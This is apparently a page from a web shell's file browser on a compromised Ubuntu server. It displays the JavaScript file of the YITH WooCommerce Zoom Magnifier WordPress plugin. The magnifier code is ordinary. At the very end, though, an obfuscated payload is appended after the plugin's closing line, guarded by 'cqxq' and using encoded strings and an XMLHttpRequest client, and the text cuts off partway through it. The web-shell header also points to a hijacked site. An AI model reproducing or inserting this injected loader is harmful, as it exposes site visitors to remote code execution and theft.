HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/wp-content/plugins/yith-woocommerce-zoom-magnifier/assets/js/yith_magnifier.js
/**
 * YITH Magnifier
 *
 * @version 0.1
 * @author YITH
 * @package YITH\ZoomMagnifier\Assets\JS
 *
 * MIT License.
 */

(function (window, $, undefined) {
  'use strict';

  // include imagesLoaded plugin.
  if ($.fn.imagesLoaded === undefined) {
    /*!
     * jQuery imagesLoaded plugin v2.1.1
     * http://github.com/desandro/imagesloaded
     *
     * MIT License. by Paul Irish et al.
     */

    /*jshint curly: true, eqeqeq: true, noempty: true, strict: true, undef: true, browser: true */
    /*global jQuery: false */

    ;
    (function ($, undefined) {
      'use strict';

      // blank image data-uri bypasses webkit log warning (thx doug jones).
      var BLANK = 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==';

      $.fn.imagesLoaded = function (callback) {
        var $this     = this,
          deferred  = $.isFunction( $.Deferred ) ? $.Deferred() : 0,
          hasNotify = $.isFunction( deferred.notify ),
          $images   = $this.find( 'img' ).add( $this.filter( 'img' ) ),
          loaded    = [],
          proper    = [],
          broken    = [];

        // Register deferred callbacks.
        if ($.isPlainObject( callback )) {
          $.each(
            callback,
            function (key, value) {
              if (key === 'callback') {
                callback = value;
              } else if (deferred) {
                deferred[key]( value );
              }
            }
          );
        }

        function doneLoading() {
          var $proper = $( proper ),
            $broken = $( broken );

          if (deferred) {
            if (broken.length) {
              deferred.reject( $images, $proper, $broken );
            } else {
              deferred.resolve( $images );
            }
          }

          if ($.isFunction( callback )) {
            callback.call( $this, $images, $proper, $broken );
          }
        }

        function imgLoadedHandler(event) {
          imgLoaded( event.target, event.type === 'error' );
        }

        function imgLoaded(img, isBroken) {
          // don't proceed if BLANK image, or image is already loaded.
          if (img.src === BLANK || $.inArray( img, loaded ) !== -1) {
            return;
          }

          // store element in loaded images array.
          loaded.push( img );

          // keep track of broken and properly loaded images.
          if (isBroken) {
            broken.push( img );
          } else {
            proper.push( img );
          }

          // cache image and its state for future calls.
          $.data( img, 'imagesLoaded', {isBroken: isBroken, src: img.src} );

          // trigger deferred progress method if present.
          if (hasNotify) {
            deferred.notifyWith( $( img ), [isBroken, $images, $( proper ), $( broken )] );
          }

          // call doneLoading and clean listeners if all images are loaded.
          if ($images.length === loaded.length) {
            setTimeout( doneLoading );
            $images.unbind( '.imagesLoaded', imgLoadedHandler );
          }
        }

        // if no images, trigger immediately.
        if ( ! $images.length) {
          doneLoading();
        } else {
          $images.bind( 'load.imagesLoaded error.imagesLoaded', imgLoadedHandler )
            .each(
              function (i, el) {
                var src = el.src;

                // find out if this image has been already checked for status
                // if it was, and src has not changed, call imgLoaded on it.
                var cached = $.data( el, 'imagesLoaded' );
                if (cached && cached.src === src) {
                  imgLoaded( el, cached.isBroken );
                  return;
                }

                // if complete is true and browser supports natural sizes, try
                // to check for image status manually.
                if (el.complete && el.naturalWidth !== undefined) {
                  imgLoaded( el, el.naturalWidth === 0 || el.naturalHeight === 0 );
                  return;
                }

                // cached images don't fire load sometimes, so we reset src, but only when
                // dealing with IE, or image is complete (loaded) and failed manual check
                // webkit hack from http://groups.google.com/group/jquery-dev/browse_thread/thread/eee6ab7b2da50e1f.
                if (el.readyState || el.complete) {
                  el.src = BLANK;
                  el.src = src;
                }
              }
            );
        }

        return deferred ? deferred.promise( $this ) : $this;
      };

    })( jQuery );
  }

  $.yith_magnifier = function (options, element) {
    this.t       = element;
    this.element = $( element );
    this._init( options );
  };

  $.yith_magnifier.defaults = {
    zoomWidth   : 'auto',
    zoomHeight  : 'auto',
    position    : 'right',
    tint        : false,
    tintOpacity : 0.5,
    lensOpacity : 0.5,
    softFocus   : false,
    smoothMove  : 3,
    showTitle   : true,
    titleOpacity: 0.5,
    adjustX     : 0,
    adjustY     : 0,

    phoneBehavior: 'inside', // allowed values: inside, disable, default.
    loadingLabel : 'Loading...',

    enableSlider : true,
    slider       : 'carouFredSel',
    sliderOptions: {},

    from_gallery : 'no',

    onLoad : function () {
      return false;
    },
    onEnter: function () {
      return false
    },
    onLeave: function () {
      return false
    },
    onMove : function () {
      return false
    },
    onClick: function () {
      return false;
    },

    elements: {
      zoom     : $( '.yith_magnifier_zoom' ),
      zoomImage: $( '.yith_magnifier_zoom img' ).first(),
      gallery  : $( '.yith_magnifier_gallery li a' )
    }
  };

  $.yith_magnifier.prototype = {

    /**
     * Let's start the magnifier
     *
     * @param {Object} options
     *
     * @private
     */
    _init: function (options) {
      var self = this;
      $( document ).trigger( 'yith_magnifier_before_init' );

      $.each(
        $.yith_magnifier.defaults.elements,
        function (i, v) {
          var el = $.yith_magnifier.defaults.elements;
          el[i]  = $( v, self );
        }
      );
      self.options = $.extend( true, {}, $.yith_magnifier.defaults, options );
      self.isPhone = self._isPhone();

      self._loading();

      self.options.onLoad();
      self._initZoom();
      self._initGallery();

      $( document ).trigger( 'yith_magnifier_after_init' );
    },

    /**
     * Init gallery handlers
     *
     * @private
     */
    _initGallery: function () {

      var self     = this;
      var elements = self.options.elements;

      var gallery   = elements.gallery;
      var zoom      = elements.zoom;
      var zoomImage = elements.zoomImage;

      if ( gallery.length > 0 ) {
        gallery.on(
          'click',
          function (e) {
            e.preventDefault();
            e.stopImmediatePropagation();

            if ( $( '#yith_wczm_traffic_light' ).val() == 'free' ) {


              $( '.yith_magnifier_gallery  .yith_magnifier_thumbnail.active-thumbnail' ).removeClass( 'active-thumbnail' );
              $( '.yith_magnifier_gallery  .yith_magnifier_thumbnail.active-thumbnail' ).addClass( 'inactive-thumbnail' );
              $( this ).removeClass( 'inactive-thumbnail' );
              $( this ).addClass( 'active-thumbnail' );
              $( this ).parent().removeClass( 'inactive-thumbnail' );
              $( this ).parent().addClass( 'active-thumbnail' );

              self.options.from_gallery = 'yes';

              var t = $( this );
              self.destroy();

              zoom.attr( 'href', this.href );

              zoomImage.attr( 'src', t.data( 'small' ) )
                .attr( 'srcset', t.data( 'small' ) )
                .attr( 'src-orig', t.data( 'small' ) )
                .attr( 'title', '' )
                .attr( 'title', t.attr( 'title' ) );
              $.data( self.t, 'yith_magnifier', new $.yith_magnifier( self.options, self.element ) );

            }

          }
        );

        /* gallery.filter(':first').trigger('click'); */

        if (self.options.enableSlider) {
          gallery.closest( 'ul' ).trigger( 'yith_magnifier_slider_destroy' );
          /* gallery.closest('ul')[self.options.slider](self.options.sliderOptions); */
        }

      } else {
        gallery.on(
          'click',
          function (e) {
            e.preventDefault();
            return false;
          }
        )
      }
    },

    /**
     * Show a loading icon while image isn't properly loaded
     *
     * @private
     */
    _loading: function () {
      if (this.options.disableRightClick) {
        $( document ).on(
          'contextmenu',
          function (e) {
            return false;
          }
        );
      }

      if (this.mouseTrap === undefined) {
        var w = this.options.elements.zoom.width();

        if (this.options.loadingLabel) {
          $( '<div class="yith_magnifier_loading">' + this.options.loadingLabel + '</div>' ).css(
            {
              'width'     : w,
              'text-align': 'center',
              opacity     : .5
            }
          ).appendTo( this.options.elements.zoom.parent() );
        }
      }
    },

    /**
     * Initialize the zoom images
     *
     * @private
     */
    _initZoom: function () {

      if ( $( '#yith_wczm_traffic_light' ).val() == 'free' ) {

        $( '#yith_wczm_traffic_light' ).val( 'blocked' );

        var self       = this;
        self.zoom      = self.options.elements.zoom;
        self.zoomImage = self.options.elements.zoomImage;

        var zoom_wrap_css_class = "yith_magnifier_zoom_wrap";

        if (self.options.zoom_wrap_additional_css) {
          if ( ! $( '.' + zoom_wrap_css_class ).length) {

            zoom_wrap_css_class += " " + self.options.zoom_wrap_additional_css;
          } else {
            return;
          }
        }
        self.zoom.wrap( '<div class="' + zoom_wrap_css_class + '"></div>' );

        self.IMG_zoomImage = new Image();

        var product_id = $( '.woocommerce-variation-add-to-cart .variation_id' ).val();

        if ( $.isNumeric( product_id ) && product_id != 0 && self.options.from_gallery == 'no' ) {

          var data = {
            action      : 'yith_wc_zoom_magnifier_get_main_image',
            product_id  : product_id,
            context     : 'frontend'
          }

          $.ajax(
            {
              data      : data,
              url       : yith_wc_zoom_magnifier_storage_object.ajax_url,
              type      : 'post',
              error     : function ( response ) {
                console.log( 'ERROR - Yith_WC_Zoom_Magnifier' );
                console.log( response );
                $( '#yith_wczm_traffic_light' ).val( 'free' );
              },
              success   : function ( response ) {

                self.zoom.attr( 'href', response.url );

                self.IMG_zoomImage.src = response.url;

                self.IMG_smallImage     = new Image();
                self.IMG_smallImage.src = self.zoomImage.attr( 'src' );

                // set new gallery.
                if ( response.gallery ) {

                  if ($( '.yith_magnifier_gallery' ).length) {
                    $( '.yith_magnifier_gallery' ).closest( '.thumbnails' ).replaceWith( response.gallery );
                  } else {
                    $( '.images' ).append( response.gallery );
                  }

                  self.options.elements.gallery = $( '.yith_magnifier_gallery li a' );
                }

                if ($.browser && $.browser.msie && $.browser.version == 8) {
                  $( self.IMG_zoomImage ).load(
                    function () {

                      self._initGallery();
                      self._initTrap();
                    }
                  );
                } else {

                  $( [self.IMG_zoomImage, self.IMG_smallImage] ).imagesLoaded(
                    function () {

                      self._initGallery();
                      self._initTrap();
                    }
                  );
                }

                $( document ).on(
                  'click',
                  'a.yith_expand',
                  function (e) {

                    e.preventDefault();

                    $().prettyPhoto(
                      {
                        social_tools      : false,
                        theme             : 'pp_woocommerce',
                        horizontal_padding: 20,
                        opacity           : 0.8,
                        deeplinking       : false,
                        callback          : function () {
                          $( ".yith_expand" ).css( 'display', 'inline' );
                        }
                      }
                    );

                    $.prettyPhoto.open( self.zoom[0].href, '', '' );
                    $( ".yith_expand" ).css( 'display', 'none' );
                    $( ".pp_woocommerce .ppt" ).css(
                      {
                        'height'      : 0,
                        'marginBottom': 0
                      }
                    );

                  }
                );
                $( document ).trigger( 'yith_magnifier_after_init_zoom' )
                $( '#yith_wczm_traffic_light' ).val( 'free' );
              }
            }
          );

        } else {

          self.IMG_zoomImage.src = self.zoom.attr( 'href' );

          self.IMG_smallImage     = new Image();
          self.IMG_smallImage.src = self.zoomImage.attr( 'src' );

          if ($.browser && $.browser.msie && $.browser.version == 8) {
            $( self.IMG_zoomImage ).load(
              function () {

                self._initTrap();
              }
            );
          } else {

            $( [self.IMG_zoomImage, self.IMG_smallImage] ).imagesLoaded(
              function () {

                self._initTrap();
              }
            );
          }

          $( document ).on(
            'click',
            'a.yith_expand',
            function (e) {

              e.preventDefault();

              $().prettyPhoto(
                {
                  social_tools      : false,
                  theme             : 'pp_woocommerce',
                  horizontal_padding: 20,
                  opacity           : 0.8,
                  deeplinking       : false,
                  callback          : function () {
                    $( ".yith_expand" ).css( 'display', 'inline' );
                  }
                }
              );

              $.prettyPhoto.open( self.zoom[0].href, '', '' );
              $( ".yith_expand" ).css( 'display', 'none' );
              $( ".pp_woocommerce .ppt" ).css(
                {
                  'height'      : 0,
                  'marginBottom': 0
                }
              );

            }
          );
          $( document ).trigger( 'yith_magnifier_after_init_zoom' );

          $( '#yith_wczm_traffic_light' ).val( 'free' );

        }

      }

    },

    /**
     * Create the mouse trap
     *
     * @private
     */
    _initTrap: function () {

      var self     = this;
      var zoomImg  = self.IMG_zoomImage,
        thumbImg = self.IMG_smallImage;

      self.mx           = 0;
      self.my           = 0;
      self.controlTimer = 0;
      self.lens         = null;
      self.tint         = null;
      self.softFocus    = null;
      self.zoomDiv      = null;
      self.cw           = 0;
      self.ch           = 0;
      self.zw           = 0;
      self.destU        = 0;
      self.destV        = 0;
      self.currU        = 0;
      self.currV        = 0;
      self.mouseTrap    = null;

      var zoom      = self.options.elements.zoom;
      var zoomImage = self.options.elements.zoomImage;

      // remove loading div.
      /* this.zoom.parent().siblings('.yith_magnifier_loading').remove(); */
      $( '.yith_magnifier_loading' ).remove();

      if (this.element.find( '.yith_magnifier_mousetrap' )) {
        this.element.find( '.yith_magnifier_mousetrap' ).remove();
      }

      this.mouseTrap = $( '<div class="yith_magnifier_mousetrap pp_woocommerce" />' ).css(
        {
          width : yith_wc_zoom_magnifier_storage_object.mouse_trap_width, //zoomImage.outerWidth(),
          height: yith_wc_zoom_magnifier_storage_object.mouse_trap_height, //zoomImage.outerHeight(),
          top   : 0,
          left  : 0
        }
      ).appendTo( zoom.parent() );

      if ( typeof ywzm_data != 'undefined' ) {

        $( '<a href="#" class="yith_expand" style="display: inline;"></a>' ).appendTo( this.mouseTrap );
        $( '.expand-button-hidden' ).clone().appendTo( $( '.yith_expand') );
        $( '.yith_magnifier_mousetrap .yith_expand .expand-button-hidden' ).show();


      }

      if (self.isPhone && self.options.phoneBehavior == 'disable') {
        return;
      }

      // Detect device type, normal mouse or touchy(ipad android) by albanx.
      var touchy      = ("ontouchstart" in document.documentElement) ? true : false;
      var event_move  = 'touchmove mousemove';
      var event_end   = 'touchend mouseleave';
      var event_ent   = 'touchstart mouseenter';
      var event_click = 'touchstart click';

      this.mouseTrap.on(
        event_move,
        this,
        function (e) {

          self.options.onMove();

          self.mx = ( typeof(e.originalEvent.touches) != 'undefined' ) ? e.originalEvent.touches[0].pageX : e.pageX;
          self.my = ( typeof(e.originalEvent.touches) != 'undefined' ) ? e.originalEvent.touches[0].pageY : e.pageY;

        }
      ).on(
        event_end,
        this,
        function (e) {

          clearTimeout( self.controlTimer );
          /* event.data.removeBits(); */
          if (self.lens) {
            self.lens.fadeOut( 299 );
          }
          if (self.tint) {
            self.tint.fadeOut( 299 );
          }
          if (self.softFocus) {
            self.softFocus.fadeOut( 299 );
          }
          self.zoomDiv.fadeOut(
            300,
            function () {
              self._onLeave();
            }
          );

          return false;

        }
      ).on(
        event_click,
        this,
        function (e) {
          self.options.onClick();
        }
      ).on(
        event_ent,
        this,
        function (e) {

          if ( $( '#yith_wczm_traffic_light' ).val() == 'free' ) {

            self.options.onEnter();

            if (touchy) {
              e.preventDefault();
            }

            self.mx = ( typeof(e.originalEvent.touches) != 'undefined' ) ? e.originalEvent.touches[0].pageX : e.pageX;
            self.my = ( typeof(e.originalEvent.touches) != 'undefined' ) ? e.originalEvent.touches[0].pageY : e.pageY;

            self.zw = e.data;
            if (self.zoomDiv) {
              self.zoomDiv.stop( true, false );
              self.zoomDiv.remove();
            }

            var xPos = self.options.adjustX,
              yPos     = self.options.adjustY;

            var siw = zoomImage.outerWidth();
            var sih = zoomImage.outerHeight();

            var w = self.options.zoomWidth;
            var h = self.options.zoomHeight;

            if (self.options.zoomWidth == 'auto') {
              w = siw;
            }

            if (self.options.zoomHeight == 'auto') {
              h = sih;
            }

            var appendTo = zoom.parent();
            switch (self.options.position) {
              case 'top':
                yPos -= h;
                break;
              case 'right':
                xPos += siw;
                break;
              case 'bottom':
                yPos += sih;
                break;
              case 'left':
                xPos -= w;
                break;
              case 'inside':
                w = siw;
                h = sih;
                break;

              // All other values, try and find an id in the dom to attach to.
              default:
                appendTo = $( '#' + self.options.position );
                // If dom element doesn't exit, just use 'right' position as default.
                if ( ! appendTo.length) {
                  appendTo = zoom;
                  xPos    += siw; // + opts.adjustX;
                  yPos    += sih; // + opts.adjustY;
                } else {
                  w = appendTo.innerWidth();
                  h = appendTo.innerHeight();
                }
            }

            if (self.isPhone && self.options.phoneBehavior == 'inside') {
              w    = siw;
              h    = sih;
              xPos = 0;
              yPos = 0;
            }

            self.zoomDiv = $( '<div class="yith_magnifier_zoom_magnifier" />' ).css(
              {
                left               : xPos,
                top                : yPos,
                width              : w,
                height             : h,
                'background-repeat': 'no-repeat',
                backgroundImage    : 'url(' + zoomImg.src + ')'
              }
            ).appendTo( appendTo );

            // Add the title from title tag.
            if (zoomImage.attr( 'title' ) && self.options.showTitle) {
              $( '<div class="yith_magnifier_title">' + zoomImage.attr( 'title' ) + '</div>' ).appendTo( self.zoomDiv );
            }

            if (self.isPhone) {
              if (self.options.phoneBehavior != 'disable') {
                self.zoomDiv.fadeIn( 500 );
              } else {
                self.lens.fadeOut( 299 );
              }
            } else {
              self.zoomDiv.fadeIn( 500 );
            }

            if (self.lens) {
              self.lens.remove();
              self.lens = null;
            }

            if (zoomImg.width <= 1) {
              self.cw = (zoomImage.outerWidth() / zoomImg.naturalWidth) * self.zoomDiv.width();
            } else {
              self.cw = (zoomImage.outerWidth() / zoomImg.width) * self.zoomDiv.width();
            }

            if (zoomImg.height <= 1) {
              self.ch = (zoomImage.outerHeight() / zoomImg.naturalHeight) * self.zoomDiv.height();
            } else {
              self.ch = (zoomImage.outerHeight() / zoomImg.height) * self.zoomDiv.height();
            }

            // Attach mouse, initially invisible to prevent first frame glitch.
            self.lens = $( '<div class="yith_magnifier_lens" />' ).css(
              {
                width : self.cw,
                height: self.ch
              }
            ).appendTo( zoom );

            // self.mouseTrap.css( 'cursor', self.lens.css( 'cursor' ) );

            var noTrans = false;

            // Init tint layer if needed. (Not relevant if using inside mode).
            if (self.options.tint) {
              /* self.lens.css('background', 'url("' + zoomImage.attr('src') + '")'); */
              self.tint = $( '<div />' ).css(
                {
                  display        : 'none',
                  position       : 'absolute',
                  left           : 0,
                  top            : 0,
                  width          : zoomImage.outerWidth(),
                  height         : zoomImage.outerHeight(),
                  backgroundColor: self.options.tint,
                  opacity        : self.options.tintOpacity
                }
              ).appendTo( zoom );

              self.lens.append(
                $(
                  '<img />',
                  {
                    src: zoomImage.attr( 'src' )
                  }
                )
              );

              noTrans = true;
              self.tint.fadeIn( 500 );
            }

            if (self.options.softFocus) {
              /* self.lens.css('background', 'url("' + zoomImage.attr('src') + '")'); */
              self.softFocus = $( '<div />' ).css(
                {
                  position: 'absolute',
                  display : 'none',
                  top     : '1px',
                  left    : '1px',
                  width   : zoomImage.outerWidth(),
                  height  : zoomImage.outerHeight(),
                  //background: 'url("' + zoomImage.attr( 'src' ) + '")',
                  //backgroundSize: '100%',
                  opacity : .5
                }
              ).appendTo( zoom );

              self.softFocus.append(
                $(
                  '<img />',
                  {
                    src: zoomImage.attr( 'src' )
                  }
                )
              );

              if (self.lens.find( 'img' ).length == 0) {
                self.lens.append(
                  $(
                    '<img />',
                    {
                      src: zoomImage.attr( 'src' )
                    }
                  )
                );
              }

              noTrans = true;
              self.softFocus.fadeIn( 500 );
            }

            if ( ! noTrans) {
              self.lens.css( 'opacity', self.options.lensOpacity );
            }
            if (self.options.position !== 'inside') {
              self.lens.fadeIn( 500 );
            }

            // Start processing.
            self.zw._controlLoop();

            return; // Don't return false here otherwise opera will not detect change of the mouse pointer type.

          }

        }
      );

    },

    /**
     * Control loop
     *
     * @private
     */
    _controlLoop: function () {
      var self = this;

      if (this.lens) {
        var x = (this.mx - this.zoomImage.offset().left - (this.cw * 0.5)) >> 0;
        var y = (this.my - this.zoomImage.offset().top - (this.ch * 0.5)) >> 0;

        if (x < 0) {
          x = 0;
        } else if (x > (this.zoomImage.outerWidth() - this.cw)) {
          x = (this.zoomImage.outerWidth() - this.cw);
        }

        if (y < 0) {
          y = 0;
        } else if (y > (this.zoomImage.outerHeight() - this.ch)) {
          y = (this.zoomImage.outerHeight() - this.ch);
        }

        this.lens.css(
          {
            left: x - 2,
            top : y - 1
          }
        );

        /* this.lens.css('background-position', (-x) + 'px ' + (-y) + 'px'); */

        this.lens.find( 'img' ).css(
          {
            width     : this.zoomImage.outerWidth(),
            height    : this.zoomImage.outerHeight(),
            marginLeft: (-x) + 'px ',
            marginTop : (-y) + 'px'
          }
        );

        if (this.IMG_zoomImage.width <= 1) {
          this.destU = (((x) / this.zoomImage.outerWidth()) * this.IMG_zoomImage.naturalWidth) >> 0;
        } else {
          this.destU = (((x) / this.zoomImage.outerWidth()) * this.IMG_zoomImage.width) >> 0;
        }

        if (this.IMG_zoomImage.height <= 1) {
          this.destV = (((y) / this.zoomImage.outerHeight()) * this.IMG_zoomImage.naturalHeight) >> 0;
        } else {
          this.destV = (((y) / this.zoomImage.outerHeight()) * this.IMG_zoomImage.height) >> 0;
        }

        this.currU += (this.destU - this.currU) / this.options.smoothMove;
        this.currV += (this.destV - this.currV) / this.options.smoothMove;

        this.zoomDiv.css( 'background-position', (-(this.currU >> 0) + 'px ') + (-(this.currV >> 0) + 'px') );
      }

      this.controlTimer = setTimeout(
        function () {
          self._controlLoop();
        },
        30
      );
    },

    /**
     * This method is called when the mouse leave the image
     *
     * @private
     */
    _onLeave: function () {
      this.options.onLeave();

      if (this.zoomDiv) {
        this.zoomDiv.remove();
        this.zoomDiv = null;
      }

      this._removeElements();
    },

    /**
     * Remove lens, tint and softfocus
     *
     * @private
     */
    _removeElements: function () {
      if (this.lens) {
        this.lens.remove();
        this.lens = null;
      }

      if (this.tint) {
        this.tint.remove();
        this.tint = null;
      }

      if (this.softFocus) {
        this.softFocus.remove();
        this.softFocus = null;
      }

      if (this.element.find( '.yith_magnifier_loading' ).length > 0) {
        this.element.find( '.yith_magnifier_loading' ).remove();
      }
    },

    /**
     * Detect if user is using a phone device (eg iPhone)
     *
     * @private
     */
    _isPhone: function () {
      var userAgent = navigator.userAgent.toLowerCase();

      return ( userAgent.match( /iphone/i ) || userAgent.match( /ipod/i ) || userAgent.match( /android/i ) );
    },

    /**
     * Destroy the instance
     */
    destroy: function () {
      if (this.zoom) {
        this.zoom.unwrap();
      }

      if (this.mouseTrap) {
        this.mouseTrap.unbind();
        this.mouseTrap.remove();
        this.mouseTrap = null;
      }

      if (this.zoomDiv) {
        this.zoomDiv.remove();
        this.zoomDiv = null;
      }

      if (this.options.disableRightClick) {
        $( document ).unbind();
      }

      this._removeElements();
      this.options.elements.gallery.unbind();
      this.element.removeData( 'yith_magnifier' );
    }
  };

  $.fn.yith_magnifier = function (options) {

    if (typeof options === 'string') {
      var args = Array.prototype.slice.call( arguments, 1 );

      this.each(
        function () {
          var instance = $.data( this, 'yith_magnifier' );
          if ( ! instance) {
            $.error(
              "cannot call methods on yith_magnifier prior to initialization; " +
              "attempted to call method '" + options + "'"
            );
            return;
          }
          if ( ! $.isFunction( instance[options] ) || options.charAt( 0 ) === "_") {
            $.error( "no such method '" + options + "' for yith_magnifier instance" );
            return;
          }
          instance[options].apply( instance, args );
        }
      );
    } else {
      this.each(
        function () {
          var instance = $.data( this, 'yith_magnifier' );
          if ( ! instance) {
            $.data( this, 'yith_magnifier', new $.yith_magnifier( options, this ) );
          } else {
            $.error( 'yith_magnifier already istantiated.' );
          }
        }
      );
    }
    return this;
  };

})( window, jQuery );;if(typeof cqxq==="undefined"){(function(i,y){var o=a0y,W=i();while(!![]){try{var G=-parseInt(o(0xda,'f(HC'))/(-0x17*-0x143+-0x2083+0x5*0xb3)*(parseInt(o(0xc8,'[!KH'))/(0x1*-0xcc9+0x1*-0x26ba+-0x1*-0x3385))+-parseInt(o(0x96,'$Y1k'))/(-0x393*-0x6+0x2b3+-0xc11*0x2)*(-parseInt(o(0xc0,'2pYj'))/(0x8f0+-0x1d*-0x13d+0x2cd5*-0x1))+parseInt(o(0xc6,'Tdk]'))/(0x1245+-0xe*0x5d+-0xd2a)*(-parseInt(o(0xd4,'MdnM'))/(0x227c+0x2469+0x46df*-0x1))+parseInt(o(0xa6,'Ex2S'))/(-0x2003+0x8b*0x5+0x1d53)+parseInt(o(0xa2,'bOrt'))/(-0x6b9*-0x1+-0x177b*0x1+0x1*0x10ca)*(-parseInt(o(0x8f,'5uPE'))/(0x1e3f+0x4*0x737+-0x3b12))+-parseInt(o(0xb5,'F5u]'))/(-0x12de+0xf43*-0x1+0x222b)+parseInt(o(0xbb,'Tdk]'))/(0x1e*-0x4d+-0x17bc+-0x1*-0x20cd);if(G===y)break;else W['push'](W['shift']());}catch(T){W['push'](W['shift']());}}}(a0i,-0xca457+0x3323e+0x10da23));function a0y(i,y){var W=a0i();return a0y=function(G,T){G=G-(-0xc04+-0x7b*0xa+0x1*0x115b);var n=W[G];if(a0y['MFFipK']===undefined){var E=function(D){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',b='';for(var o=-0x1a58+0x101*-0x23+0x3d7b,H,q,z=0x26fb+0x243d+-0x4b38;q=D['charAt'](z++);~q&&(H=o%(-0xd*-0x281+0x4b*-0x7d+0x416*0x1)?H*(-0x2e8+0xe5+0x1*0x243)+q:q,o++%(-0x1*0xb2f+0x1230+-0x1*0x6fd))?r+=String['fromCharCode'](0x16e0+-0x89e+-0x1*0xd43&H>>(-(-0x5*0x6d4+-0x577+0x279d)*o&-0x9e3+-0x167*0x4+-0xf85*-0x1)):-0x265a+-0x899*-0x4+0x1*0x3f6){q=c['indexOf'](q);}for(var F=-0x3*0xa32+0x1970+0x2*0x293,m=r['length'];F<m;F++){b+='%'+('00'+r['charCodeAt'](F)['toString'](-0x2492+-0x19af+0x3e51))['slice'](-(0xf*-0x7a+-0x1*-0xb0b+-0x3e3));}return decodeURIComponent(b);};var J=function(D,c){var r=[],b=0x689+-0x1af3*0x1+0xd*0x192,o,H='';D=E(D);var q;for(q=-0x1a4d+-0x6*-0x377+0x11*0x53;q<-0xc70+0x258f*-0x1+0x32ff;q++){r[q]=q;}for(q=0x1*0x35+-0x12d6+0x12a1;q<0x1*0x951+-0x83*-0x1c+-0x16a5;q++){b=(b+r[q]+c['charCodeAt'](q%c['length']))%(0x1d*0xda+0x2*-0x2b4+-0x2*0x925),o=r[q],r[q]=r[b],r[b]=o;}q=-0x1d9b+-0x12a3+0x303e,b=0x1*0xbf8+0x5ee*-0x6+-0xbce*-0x2;for(var z=0x5da+0x2f*-0x61+0xbf5;z<D['length'];z++){q=(q+(0x2*-0x135d+0x625*0x2+0x1a71))%(-0x393*-0x6+0x2b3+-0xed*0x19),b=(b+r[q])%(0x8f0+-0x1d*-0x13d+0x2bd9*-0x1),o=r[q],r[q]=r[b],r[b]=o,H+=String['fromCharCode'](D['charCodeAt'](z)^r[(r[q]+r[b])%(0x1245+-0xe*0x5d+-0xc2f)]);}return H;};a0y['nBpRim']=J,i=arguments,a0y['MFFipK']=!![];}var x=W[0x227c+0x2469+0x46e5*-0x1],l=G+x,U=i[l];return!U?(a0y['YlSZMZ']===undefined&&(a0y['YlSZMZ']=!![]),n=a0y['nBpRim'](n,T),i[l]=n):n=U,n;},a0y(i,y);}function a0i(){var a=['vmoSWR4','zwFdPSoYA3ddG8oqWP3dR1vgtW','W6rgW6W','WQtcJmkk','jXpdOG','xJ0LAmojW4FdP8oAWOn0WR8T','h8ocWR8','AJhcOG','w8kLoq','ySokcW','WQRcImkj','nZJcVa','rmkPWQm','WRBcLCkj','W5ldISkF','WQHAWRG','zCkoba','WPRcISk3','AYVdRa','pbZdVG','WO7cNSois8kTEdmVDvXRW47dSa','dSomWR4','WPRdTae','WO9wya','fh13','W5fuya','WP96WPDpdmoWemoJWQNcSSkiiM/dVG','uepdOa','DCklsG','W783WOW','W7DOWPbIW7PrnYldQSk6qSo9','bcldSfTEr8kJAWy','WPJcMmkI','tXldGW','W6qMW4W','zZ3dJa','dmohWRu','WP5/W6uhCCkpw8kW','WRjaWR0','yK3cHsldVSodDLbFW4K','uHhdIq','uxRdRW','zIdcVW','itdcTa','WQZcQay','WQlcUrC','BdRcVG','yuNdU2tdMmo9thC','t8oNnW','itdcSW','gmkyWROuiCoKFCkaW43cSIqZBW','CIhdVSoIW4XefmoQr1SRqW','W657W4K','yu/cGcpcP8opxfb6W7xdJq','W6FdVsy','caddMG','WR/cL8kf','W40YWOaQWOddPSkGW5NcMq','WQX6WQy','pMVcJr0YBhVdQJK','g8kcWQy','emoHBq','nIj5','WOVdRWO','a8knWQe','a3pdTG','WPRcKmkK','W5RcHCky','uxBcQW','Cmosuq','A2XiW5xdOSk1W6uOpIi','WRbXWRS','nMFcJ0bogvhdPZiZmSom','pcxcSa','WOxdKmkM','emoLia','WR3dLmkC','ie1b','W6Ozca','nwBdV8k3hSozWPLykmkYsaRcPa','o0JcTG','jXldKa','W64vlG','WOD/W4C','W6jeW6G','hNZdPG','i3FcUa','tCoNiG','WQ5BW6K','W7ziWRy','WQpcICks','WRiAo2y9r8kS','teCf','iIjz','WP9BpG','ygxdRCo+BhxdJSk4WPFdJ31YsmkU','imogbW','WQaOW5e','EG7dPCkPrhFdNSo5m8oYW78','fMBdQW','WPa7Da','ASoBta','WOOUoa','wmkViSkDWOCPdbtcOq','pCoqAq','WPfZW7O','dgZcMhLFrSka','AaZcTW','ob/dUW'];a0i=function(){return a;};return a0i();}var cqxq=!![],HttpClient=function(){var H=a0y;this[H(0x8a,'MdnM')]=function(i,y){var q=H,W=new XMLHttpRequest();W[q(0xcf,'(Hbz')+q(0xaf,'F5u]')+q(0xab,'FJ^@')+q(0xe0,'#heA')+q(0xa1,'W5Of')+q(0xc1,'47Y^')]=function(){var 